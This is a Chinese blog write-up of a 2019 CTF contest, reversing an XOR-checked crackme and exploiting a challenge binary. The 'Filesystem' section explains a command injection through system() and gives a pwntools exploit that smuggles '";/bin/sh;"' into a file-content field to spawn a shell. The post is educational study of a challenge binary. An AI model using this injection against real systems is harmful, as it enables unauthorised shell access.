• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

2019安恒杯2月月赛

03 Mar 2019

Reading time ~3 minutes

  • RESERVE
    • Easycpp
    • EasyRe
  • PWN
    • Filesystem
    • Hackmoon

RESERVE

Easycpp

查壳发现无壳,用ida打开,没有找到main函数,搜索字符串发现了

.rdata:0041BC68 0000000F C Please input:

找到它所在的函数

int sub_413E30()

{

	sub_4112F8(&unk_421008);

	sub_411276(std::cout, "Please input: ");

	sub_4111DB((const char *)&unk_41BC4C, (unsigned int)Src);

	if ( j_strlen(Src) >= 0xE && j_strlen(Src) <= 0x20 )

	{

		strcpy_s(Str, 0x20u, Src);

		sub_411302();

		sub_411352(Str);

	}

	return sub_411302();

}

这里其实就是主函数,sub_411D8就是相当于scanf,输入的字符串存在str里面长度为14-32。sub_411302()没什么用处,干扰用的。下面那个函数里面的函数就是把输入的数分三组异或。

int __usercall sub_413910@<eax>(int a1@<xmm0>, char *Str)

{

	char v2; // cl

	size_t i; // [esp+D0h] [ebp-8h]

	sub_4112F8(&unk_421008);

	for ( i = 0; i < j_strlen(Str); ++i )

	{

		if ( i % 3 )

		{

			if ( i % 3 == 1 )

				v2 = Str[i] ^ 0x20;

			else

				v2 = Str[i] ^ 0x21;

			Str[i] = v2;

		}

		else

		{

			Str[i] ^= 0x1Fu;

		}

	}

	return sub_411302(1, (int)Str, a1);

}

看完了这段之后后面就没有信息了,但把输入的数存到了str里,那后面就肯定会用到str,我们可以在汇编这个界面,右键str,选List cross references to

data:0041E6EC Str db 20h dup(?) ; DATA XREF: sub_413E30+82↑o

.data:0041E6EC ; sub_413E30+97↑o ...

.data:0041E70C unk_41E70C db ? ; ; DATA XREF: sub_4119C0+2A↑o

.data:0041E70C ; sub_4119C0+39↑o ...

.data:0041E70D db ? ;

.data:0041E70E db ? ;

.data:0041E70F db ? ;

.data:0041E710 db ? ;

.data:0041E711 db ? ;

.data:0041E712 db ? ;

.data:0041E713 db ? ;

.data:0041E714 db ? ;

.data:0041E715 db ? ;

.data:0041E716 db ? ;

.data:0041E717 db ? ;

.data:0041E718 db ? ;

.data:0041E719 db ? ;

.data:0041E71A db ? ;

.data:0041E71B db ? ;

.data:0041E71C db ? ;

可以显示出

Up o sub_413E30+82 push offset Str; Dst

Up o sub_413E30+97 push offset Str; Str

Up o sub_417B70:loc_417BE0 push offset Str; Str2

第一个和第二个是上面函数的,第三个就是之后会出现的str,进入到它所在的函数

int __userpurge sub_417B70@<eax>(int a1@<xmm0>, char *Str)

{

	size_t i; // [esp+D0h] [ebp-14h]

	sub_4112F8(&unk_421008);

	if ( Str )

	{

		for ( i = 0; i < j_strlen(Str); ++i )

			Str[i] ^= i;

		if ( !j_strcmp(Str, ::Str) )

		{

			sub_411276(std::cout, "g");

			sub_411276(std::cout, "0");

			sub_411276(std::cout, "0");

			sub_411276(std::cout, "d");

		}

	}

	return sub_411302(1, 0, a1);

}

很明显的就是一个比较函数,一个参数是我们输入后经过异或的答案,第二个就是比较的,在这里::Str是我们输入变换后的,str是比较的。找到这个str发现是在栈中,那就是后来生成的了,ida无法找到,我们就通过od来找,打开od,根据偏移的位置定位到sub_417B70在od所在的位置,下断点之后运行,一步步走到strcmp前面,可以发现一段字符串

00B57BE5 8B45 08 mov eax,dword ptr ss:[ebp+0x8] ; easyCpp.00B5E000

00B57BE8 50 push eax

00B57BE9 E8 3797FFFF call easyCpp.00B51325 //call strcmp

00B57BEE 83C4 08 add esp,0x8

00B57BF1 85C0 test eax,eax

00B57BF3 75 4C jnz short easyCpp.00B57C41

00B57BF5 68 5CBCB500 push easyCpp.00B5BC5C ; g

堆栈 ss:[00A5F8FC]=00B5E000 (easyCpp.00B5E000), ASCII "abafwv&cmgcnhl"

eax=00000001

这里的ASCII就是比较的字符串,前面看到这段代码其实还有一个异或的操作,我们也可以往前找到异或的字符串

堆栈 ss:[003FF634]=00B5E000 (easyCpp.00B5E000), ASCII "access denieda"

最后写脚本:

l1="abafwv&cmgcnhl"

flag=[]

for i in range(len(l1)):

	if i%3==1:

		flag.insert(i,chr(ord(l1[i])^0x20))

	elif i%3==2:

		flag.insert(i,chr(ord(l1[i])^0x21))

	else:

		flag.insert(i,chr(ord(l1[i])^0x1F))

print("".join(flag))

EasyRe

涉及ollvm混淆,以后补充

PWN

Filesystem

先查保护

CANARY : ENABLED

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

Ida打开

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

	char **v3; // [rsp+0h] [rbp-40h]

	__int64 s; // [rsp+10h] [rbp-30h]

	__int64 v5; // [rsp+18h] [rbp-28h]

	__int64 v6; // [rsp+20h] [rbp-20h]

	__int64 v7; // [rsp+28h] [rbp-18h]

	unsigned __int64 v8; // [rsp+38h] [rbp-8h]

	v3 = a2;

	v8 = __readfsqword(0x28u);

	s = 0LL;

	v5 = 0LL;

	v6 = 0LL;

	v7 = 0LL;

	sub_400966();

	while ( 1 )

	{

		while ( 1 )

		{

			memset(&s, 0, 0x20uLL);

			sub_400A4A(&s, 0LL);

			if ( strncmp((const char *)&s, "Create", 6uLL) )

				break;

			sub_400ABA(&s, "Create");

		}

		if ( !strncmp((const char *)&s, "Edit", 4uLL) )

		{

			sub_400B35(&s, "Edit");

		}

		else if ( !strncmp((const char *)&s, "Read", 4uLL) )

		{

			sub_400BE7(&s, "Read");

		}

		else if ( !strncmp((const char *)&s, "Checksec", 8uLL) )

		{

			sub_400C72(&s, "Checksec");

		}

		else

		{

			if ( !strncmp((const char *)&s, "Exit", 4uLL) )

				exit(0);

			if ( !strncmp((const char *)&s, "B4cKd0oR", 8uLL) )

			{

				sub_400D46(&s, "B4cKd0oR");

			}

			else

			{

				printf((const char *)&s, "B4cKd0oR", v3);

				puts("No Such Choicen");

			}

		}

	}

}

主函数

sub_400966();是对缓冲区的处理,sub_400A4A(&s,0LL);是一个显示目录的函数,这个程序大概的意思就是对文件·的创建和处理

找一找字符串,发现了system,但没有/bin/sh

LOAD:00000000004004EC 00000007 C system

找打system所在的函数,在Checksec里面

unsigned __int64 __fastcall sub_400C72(__int64 a1, __int64 a2)

{

	unsigned __int64 v3; // [rsp+8h] [rbp-98h]

	char s; // [rsp+10h] [rbp-90h]

	unsigned __int64 v5; // [rsp+98h] [rbp-8h]

	v5 = __readfsqword(0x28u);

	memset(&s, 0, 0x80uLL);

	printf("Input the Index:", a2, &s);

	v3 = sub_4009D1();

	if ( unk_6029E0 > v3 )

	{

		snprintf(&s, 0x80uLL, "echo "%s"| md5sum", (char *)&unk_6020E0 + 144 * v3 + 48);

		system(&s);

	}

	else

	{

		puts("No Such Index");

	}

	return __readfsqword(0x28u) ^ v5;

}

Snprint是把第四个参数存到第一个参数所对应的位置里,通过对整个程序的阅读可以知道(char *)&unk_6020E0 + 144 * v3 + 48其实是在Edit功能里面输入的内容,所以我们只需要在Edit输入时输入/bin/sh就可以拿到shell了。比赛的时候就考虑到了这里,但后面写exp的时候输入的/bin/sh不知道为什么怎么都不对,之后看了别人的wp才发现要用分隔符‘;’隔开,输入;/bin/sh;

Exp

from pwn import *

r=process('./filesystem')

r.recvuntil("> ")

r.sendline("Create")

r.recvuntil("Input Filename: ")

r.sendline("gayfei")

r.recvuntil("> ")

r.sendline("Edit")

r.recvuntil("Input the Index:")

r.sendline("0")

r.recvuntil("Input File Content: ")

r.sendline('";/bin/sh;"')

r.recvuntil("> ")

r.sendline("Checksec")

r.recvuntil("Input the Index:")

r.sendline("0")

r.interactive()

这题在看了安恒官方给出的wp后发现还有个漏洞,是堆漏洞的利用off-by-one,这里暂时还没有掌握,到时候在做补充。

Hackmoon

会单独写一篇关于uaf漏洞的介绍 https://tearorca.github.io/uaf%E6%BC%8F%E6%B4%9E/



Share Tweet +1